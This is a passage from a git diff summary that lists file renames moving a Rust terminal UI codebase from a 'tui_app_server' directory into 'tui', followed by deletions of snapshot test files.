codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installed.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installed.snap} (89%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_curated_marketplace.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_curated_marketplace.snap} (92%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_loading_state.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_loading_state.snap} (80%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugins_popup_search_filtered.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugins_popup_search_filtered.snap} (81%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__post_tool_use_hook_events_render_snapshot.snap} (80%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__pre_tool_use_hook_events_render_snapshot.snap} (79%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap (87%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap (90%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap (81%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__review_queues_user_messages_snapshot.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap} (85%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__session_start_hook_events_render_snapshot.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__session_start_hook_events_render_snapshot.snap} (80%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap (71%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap (100%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap} (90%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap (87%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap (87%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap (78%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap (100%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap} (82%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new} (82%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/status_surfaces.rs (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/tests.rs (100%) rename codex-rs/{tui_app_server => tui}/src/cli.rs (100%) rename codex-rs/{tui_app_server => tui}/src/clipboard_paste.rs (100%) rename codex-rs/{tui_app_server => tui}/src/clipboard_text.rs (100%) rename codex-rs/{tui_app_server => tui}/src/collaboration_modes.rs (100%) rename codex-rs/{tui_app_server => tui}/src/color.rs (100%) rename codex-rs/{tui_app_server => tui}/src/custom_terminal.rs (100%) rename codex-rs/{tui_app_server => tui}/src/cwd_prompt.rs (100%) rename codex-rs/{tui_app_server => tui}/src/debug_config.rs (100%) rename codex-rs/{tui_app_server => tui}/src/diff_render.rs (100%) rename codex-rs/{tui_app_server => tui}/src/exec_cell/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/exec_cell/model.rs (100%) rename codex-rs/{tui_app_server => tui}/src/exec_cell/render.rs (100%) rename codex-rs/{tui_app_server => tui}/src/exec_command.rs (100%) rename codex-rs/{tui_app_server => tui}/src/external_editor.rs (100%) rename codex-rs/{tui_app_server => tui}/src/file_search.rs (100%) rename codex-rs/{tui_app_server => tui}/src/frames.rs (100%) rename codex-rs/{tui_app_server => tui}/src/get_git_diff.rs (100%) rename codex-rs/{tui_app_server => tui}/src/history_cell.rs (100%) rename codex-rs/{tui_app_server => tui}/src/insert_history.rs (100%) rename codex-rs/{tui_app_server => tui}/src/key_hint.rs (100%) rename codex-rs/{tui_app_server => tui}/src/lib.rs (100%) rename codex-rs/{tui_app_server => tui}/src/line_truncation.rs (100%) rename codex-rs/{tui_app_server => tui}/src/live_wrap.rs (100%) rename codex-rs/{tui_app_server => tui}/src/local_chatgpt_auth.rs (100%) rename codex-rs/{tui_app_server => tui}/src/main.rs (94%) rename codex-rs/{tui_app_server => tui}/src/markdown.rs (100%) rename codex-rs/{tui_app_server => tui}/src/markdown_render.rs (100%) rename codex-rs/{tui_app_server => tui}/src/markdown_render_tests.rs (96%) rename codex-rs/{tui_app_server => tui}/src/markdown_stream.rs (100%) rename codex-rs/{tui_app_server => tui}/src/mention_codec.rs (100%) rename codex-rs/{tui_app_server => tui}/src/model_catalog.rs (100%) rename codex-rs/{tui_app_server => tui}/src/model_migration.rs (100%) rename codex-rs/{tui_app_server => tui}/src/multi_agents.rs (100%) rename codex-rs/{tui_app_server => tui}/src/notifications/bel.rs (100%) rename codex-rs/{tui_app_server => tui}/src/notifications/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/notifications/osc9.rs (100%) rename codex-rs/{tui_app_server => tui}/src/onboarding/auth.rs (100%) rename codex-rs/{tui_app_server => tui}/src/onboarding/auth/headless_chatgpt_login.rs (100%) rename codex-rs/{tui_app_server => tui}/src/onboarding/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/onboarding/onboarding_screen.rs (100%) rename codex-rs/{tui_app_server => tui}/src/onboarding/snapshots/codex_tui__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap (94%) rename codex-rs/{tui_app_server => tui}/src/onboarding/trust_directory.rs (100%) rename codex-rs/{tui_app_server => tui}/src/onboarding/welcome.rs (100%) rename codex-rs/{tui_app_server => tui}/src/oss_selection.rs (100%) rename codex-rs/{tui_app_server => tui}/src/pager_overlay.rs (100%) rename codex-rs/{tui_app_server => tui}/src/public_widgets/composer_input.rs (100%) rename codex-rs/{tui_app_server => tui}/src/public_widgets/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/render/highlight.rs (100%) rename codex-rs/{tui_app_server => tui}/src/render/line_utils.rs (100%) rename codex-rs/{tui_app_server => tui}/src/render/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/render/renderable.rs (100%) rename codex-rs/{tui_app_server => tui}/src/render/snapshots/codex_tui__render__highlight__tests__ansi_family_foreground_palette.snap (100%) rename codex-rs/{tui_app_server => tui}/src/resume_picker.rs (100%) rename codex-rs/{tui_app_server => tui}/src/selection_list.rs (100%) rename codex-rs/{tui_app_server => tui}/src/session_log.rs (100%) rename codex-rs/{tui_app_server => tui}/src/shimmer.rs (100%) rename codex-rs/{tui_app_server => tui}/src/skills_helpers.rs (100%) rename codex-rs/{tui_app_server => tui}/src/slash_command.rs (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__app__tests__agent_picker_item_name.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__app__tests__clear_ui_header_fast_status_gpt54_only.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__app__tests__model_migration_prompt_shows_for_hidden_model.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_fork_modal.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__cwd_prompt__tests__cwd_prompt_modal.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__add_details.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__ansi16_insert_delete_no_background.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_add_block.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_delete_block.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_multiple_files_block.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_update_block.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_update_block_relativizes_path.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_update_block_wraps_long_lines_text.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__apply_update_with_rename_block.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__blank_context_line.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__diff_gallery_120x40.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__diff_gallery_80x24.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__diff_gallery_94x35.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__single_line_replacement_counts.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__syntax_highlighted_insert_wraps_text.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__theme_scope_background_resolution.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__update_details_with_rename.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__vertical_ellipsis_between_hunks.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__diff_render__tests__wrap_behavior_insert.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__active_mcp_tool_call_snapshot.snap (86%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__coalesced_reads_dedupe_names.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__coalesces_reads_across_multiple_calls.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__coalesces_sequential_reads_within_one_call.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap (88%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap (90%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap (92%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap (89%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap (94%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__error_event_oversized_input_snapshot.snap (100%) rename codex-rs/{tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_inventory_loading_snapshot.snap => tui/src/snapshots/codex_tui__history_cell__tests__mcp_inventory_loading_snapshot.snap} (64%) rename codex-rs/{tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap => tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_from_statuses_renders_status_only_servers.snap} (83%) rename codex-rs/{tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap => tui/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_lists_tools_for_hyphenated_server_names.snap} (85%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap (96%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__plan_update_without_note_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__ps_output_empty_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__ps_output_long_command_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__ps_output_many_sessions_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__ps_output_multiline_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__single_line_command_compact_when_fits.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__user_history_cell_renders_remote_image_urls.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap (99%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__history_cell__tests__web_search_history_cell_transcript_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap (85%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__model_migration__tests__model_migration_prompt_gpt5_family.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__multi_agents__tests__collab_agent_transcript.snap (100%) rename codex-rs/{tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_resume_interrupted.snap => tui/src/snapshots/codex_tui__multi_agents__tests__collab_resume_interrupted.snap} (71%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_snapshot_basic.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__pager_overlay__tests__static_overlay_wraps_long_lines.snap (94%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_renders_live_tail.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__pager_overlay__tests__transcript_overlay_snapshot_basic.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__resume_picker__tests__resume_picker_screen.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__resume_picker__tests__resume_picker_search_error.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__resume_picker__tests__resume_picker_table.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__resume_picker__tests__resume_picker_thread_names.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__status_indicator_widget__tests__renders_truncated.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_queued_messages@macos.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__status_indicator_widget__tests__renders_with_working_header.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap (100%) rename codex-rs/{tui_app_server => tui}/src/snapshots/codex_tui__update_prompt__tests__update_prompt_modal.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/account.rs (100%) rename codex-rs/{tui_app_server => tui}/src/status/card.rs (100%) rename codex-rs/{tui_app_server => tui}/src/status/format.rs (100%) rename codex-rs/{tui_app_server => tui}/src/status/helpers.rs (100%) rename codex-rs/{tui_app_server => tui}/src/status/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/status/rate_limits.rs (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap (100%) rename codex-rs/{tui_app_server => tui}/src/status/tests.rs (100%) rename codex-rs/{tui_app_server => tui}/src/status_indicator_widget.rs (100%) rename codex-rs/{tui_app_server => tui}/src/streaming/chunking.rs (100%) rename codex-rs/{tui_app_server => tui}/src/streaming/commit_tick.rs (100%) rename codex-rs/{tui_app_server => tui}/src/streaming/controller.rs (100%) rename codex-rs/{tui_app_server => tui}/src/streaming/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/src/style.rs (100%) rename codex-rs/{tui_app_server => tui}/src/terminal_palette.rs (100%) rename codex-rs/{tui_app_server => tui}/src/terminal_title.rs (100%) rename codex-rs/{tui_app_server => tui}/src/test_backend.rs (100%) rename codex-rs/{tui_app_server => tui}/src/test_support.rs (100%) rename codex-rs/{tui_app_server => tui}/src/text_formatting.rs (100%) rename codex-rs/{tui_app_server => tui}/src/theme_picker.rs (100%) rename codex-rs/{tui_app_server => tui}/src/tooltips.rs (100%) rename codex-rs/{tui_app_server => tui}/src/tui.rs (100%) rename codex-rs/{tui_app_server => tui}/src/tui/event_stream.rs (100%) rename codex-rs/{tui_app_server => tui}/src/tui/frame_rate_limiter.rs (100%) rename codex-rs/{tui_app_server => tui}/src/tui/frame_requester.rs (100%) rename codex-rs/{tui_app_server => tui}/src/tui/job_control.rs (100%) rename codex-rs/{tui_app_server => tui}/src/ui_consts.rs (100%) rename codex-rs/{tui_app_server => tui}/src/update_action.rs (100%) rename codex-rs/{tui_app_server => tui}/src/update_prompt.rs (100%) rename codex-rs/{tui_app_server => tui}/src/updates.rs (100%) rename codex-rs/{tui_app_server => tui}/src/version.rs (100%) rename codex-rs/{tui_app_server => tui}/src/voice.rs (100%) rename codex-rs/{tui_app_server => tui}/src/wrapping.rs (100%) rename codex-rs/{tui_app_server => tui}/styles.md (100%) rename codex-rs/{tui_app_server => tui}/tests/all.rs (100%) rename codex-rs/{tui_app_server => tui}/tests/fixtures/oss-story.jsonl (100%) rename codex-rs/{tui_app_server => tui}/tests/manager_dependency_regression.rs (95%) rename codex-rs/{tui_app_server => tui}/tests/suite/mod.rs (100%) rename codex-rs/{tui_app_server => tui}/tests/suite/model_availability_nux.rs (100%) rename codex-rs/{tui_app_server => tui}/tests/suite/no_panic_on_startup.rs (100%) rename codex-rs/{tui_app_server => tui}/tests/suite/status_indicator.rs (100%) rename codex-rs/{tui_app_server => tui}/tests/suite/vt100_history.rs (94%) rename codex-rs/{tui_app_server => tui}/tests/suite/vt100_live_commit.rs (83%) rename codex-rs/{tui_app_server => tui}/tests/test_backend.rs (100%) rename codex-rs/{tui_app_server => tui}/tooltips.txt (100%) delete mode 100644 codex-rs/tui_app_server/src/bin/codex-tui.rs delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_freeform.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__network_exec_prompt.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__backspace_after_pastes.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__empty.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap delete mode 100644 